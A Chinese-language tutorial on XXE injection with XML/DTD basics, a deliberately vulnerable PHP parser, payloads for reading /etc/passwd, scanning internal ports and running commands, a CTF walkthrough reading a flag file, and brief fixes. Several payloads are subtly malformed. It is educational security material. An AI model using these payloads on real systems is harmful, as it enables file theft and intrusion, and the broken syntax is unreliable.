前言

XXE漏洞

XXE漏洞全称(XML External Entity Injection)即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

XML基础

XML

XML(EXtensible Markup Language,可扩展标记语言)用来结构化、存储以及传输信息。

XML文档结构包括3部分:XML声明、文档类型定义(可选)和文档元素

View Code

1.XML声明

xml声明以<?开头,以?>结束。version属性是必选的,它定义了XML版本。encoding属性是可选的,它定义了XML进行解码时所用的字符集

<?xml version="1.0" encoding="ISO-8859-1"?>

2.文档类型定义

  文档类型定义(Document Type Definition,DTD)用来约束一个XML文档的书写规范。

  1.文档类型定义的基础语法:

<!ELEMENT 元素名 类型>

  2.内部定义

  将文档类型定义放在XML文档中,称为内部定义,内部定义的格式如下:

<!DOCTYPE 根元素 [元素声明]>

eg:

<!DOCTYPE note [                          <!-- 定义此文档是note类型 --><!ELEMENT note (to,from,heading,body)>  <!-- 定义note有4个元素:to from heading body --><!ELEMENT to      (#PCDATA)>            <!-- 定义to元素为#PCDATA类型  --><!ELEMENT from    (#PCDATA)>            <!-- 定义from元素为#PCDATA类型 --><!ELEMENT heading (#PCDATA)>            <!-- 定义heading元素为#PCDATA类型 --><!ELEMENT body    (#PCDATA)>            <!-- 定义body元素为#PCDATA类型 -->
]>

  3.外部文档引用

  文档类型定义的内容也可以保存为单独的DTD文档

  (1)DTD文档在本地格式

<!DOCTYPE 根元素 SYSTEM "文件名">
<!--eg:<!DOCTYPE note SYSTEM "note.dtd">-->

  (2)DTD文档外网引用

<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">
<!--eg:<!doctype html public "xxx" "http://www.xx.com/note.dtd">-->

XML漏洞利用

漏洞代码:

file_get_contents函数读取了php://input传入的数据,但是传入的数据没有经过任何过滤,直接在loadXML函数中进行了调用并通过了echo函数输入$username的结果,这样就导致了XXE漏洞的产生。

<?php
libxml_disable_entity_loader(false);
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();$dom->loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD);
$creds=simplexml_import_dom($dom);
$username=$creds->username;
$password=$creds->password;echo 'hello'.$username;?>

1.文件读取

通过加载外部实体,利用file://、php://等伪协议读取本地文件

payload:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="file:///etc/passwd"]>
<creds><username>&xxe</username><password>test</password>
</creds>

 2.内网探测

利用xxe漏洞进行内网探测,如果端口开启,请求返回的时间会很快,如果端口关闭请求返回的时间会很慢

探测22号端口是否开启

payload:

<?xml version="1.0"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="http://127.0.0.1.22"]>
<creds><username>&xxe</username><password>test</password>
</creds>

3.内网应用攻击

通过XXE漏洞进行内网应用攻击,例如攻击内网jmx控制台未授权访问的JBpss漏洞进行攻击

4.命令执行

利用xxe漏洞可以调用except://伪协议调用系统命令

payload:

<?xml version="1.0"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="except://id"]>
<creds><username>&xxe</username><password>test</password>
</creds>

XXE-CTF实例

目标:http://web.jarvisoj.com:9882/

BP抓包一下

将Content-Type:application/json改成application/xml构造XEE

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt">  ]>
<tq>&xxe;</tq>

XEE漏洞修补

1.禁用外部实体。在代码中设置libxml_disable_entity_loader(true)

2.过滤用户提交的XML数据。过滤关键词为<!DOCTYPE、<!ENTITY、SYSTEM和PUBLIC.

学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

2.视频教程

因为很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。

【web安全原理分析】-XEE漏洞入门相关推荐

  1. [web安全原理分析]-XEE漏洞入门

    前言 1 前言 XXE漏洞 XXE漏洞全称(XML External Entity Injection)即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致 ...

  2. 蓝牙App系列漏洞原理分析与漏洞利用

    蓝牙App系列漏洞原理分析与漏洞利用 作者: heeeeen 本文系转载,目的是学习,如有侵权,请联系删除 转载出处:http://www.ms509.com/ 蓝牙App漏洞系列分析之一CVE-20 ...

  3. 腾讯WEB加速器 原理分析手记

    [标 题]:腾讯WEB加速器原理分析手记 [作 者]:欧阳修子(linuxs) [时 间]:2007-06-27 [链 接]:[url]http://www.sg-zc.cn/vip/article. ...

  4. 嵌入式tomcat的不使用web.xml原理分析

    前言 前面的章节讲了嵌入式tomcat使用web.xml启动,这章说说不使用web.xml启动tomcat.有了这个就明白Spring Boot是如何在没有web.xml的的情况下实现web能力的,以 ...

  5. cve-2017–10271 XMLDecoder 反序列化漏洞 原理分析

    目录 1.漏洞背景 2.漏洞原理分析 3.漏洞测试 环境搭建 漏洞复现 4.修复建议 1.漏洞背景 Weblogic是oracle推出的application server,由于其具有支持EJB.JS ...

  6. android 动画 最顶层_【Android编程实战】StrandHogg漏洞复现及原理分析_Android系统上的维京海盗...

    0x00 StrandHogg漏洞详情 StrandHogg漏洞 CVE编号:暂无 [漏洞危害] 近日,Android平台上发现了一个高危漏洞 该漏洞允许攻击者冒充任意合法应用,诱导受害者授予恶意应用 ...

  7. Web安全原理及实践(基础部分)

    Web安全原理及实践(入门) Web安全基础 Web安全概述 Web安全基础 常见渗透测试工具 Nmap BurpSuite Sqlmap Sublime 常见的漏洞扫描工具 BurpsuiteSca ...

  8. web安全入门课程推荐--Web 安全恩仇录:漏洞原理

    玄魂 玄魂工作室 gitchat上看到的一套入门教程. 课程介绍 本课程主要内容为 Web 常见漏洞分析,同时会介绍在各个阶段需要做什么事,该课程利用的攻防平台是 Kali Linux 以及一些 Li ...

  9. 常见WEB漏洞原理分析

    一.SQL注入漏洞 SQL注入攻击(SQL Injection),简称注入攻击.SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞.在设计程序,忽略了对输入字符串中夹带的 ...

最新文章

  1. mixin机制 vue_读?VuePress(四)插件机制
  2. 51Nod 1322 - 关于树的函数(树DP)
  3. ecshop二次开发必备--数据库说明2
  4. 让你的Silverlight程序部署在任意服务器上
  5. .NET Core前后端分离快速开发框架(Core.3.1+AntdVue)
  6. 被黑客盯上了…数据都给打包带走了…
  7. python start
  8. 算法学习(一)——Minimax算法
  9. touch.pageX/touch.screenX/touch.clientX的区别
  10. Error: Request failed with status code 429
  11. 令克软件格隆汇——携手推进合作,共创金融IT持续发展
  12. SQL Server DATEADD() 函数和DATEDIFF() 函数
  13. 钢铁侠马斯克的野望:实现载人航天,开源特斯拉自动驾驶!
  14. 测绘学报投稿过程全记录
  15. ESP8266固件下载指南
  16. 旅行照片剪辑--北京篇
  17. PCIe5.0均衡简介(整理版)
  18. 【Axure视频教程】锚链接菜单
  19. 《辛雷学习方法》读书笔记——第一章 总论
  20. python 在南京发展_南京的未来发展靠什么?

热门文章

  1. java unicode u003d_这一串是 unicode 编码吗?怎么还原成字符串?
  2. ABP 动态 WebApi 隐藏接口的方法(一)
  3. python tkinter+ socket 实现 域名查询
  4. android 马赛克 代码,Android_Android 马赛克(Mosaics)效果,前几天看见开源项目效果好赞 - phpStudy...
  5. 【学习笔记】构建小型金融知识图谱(github项目)
  6. 一键开关机电路4种方案
  7. 使用 Eclipse 的 Restore from local history 功能恢复误删除的文件
  8. L24两两交换链表中的结点(链表)
  9. javascript英语单词音节拆分_最新英语单词音节的划分法
  10. Effective_C++:26、防卫潜伏的ambiguity(模棱两可)状态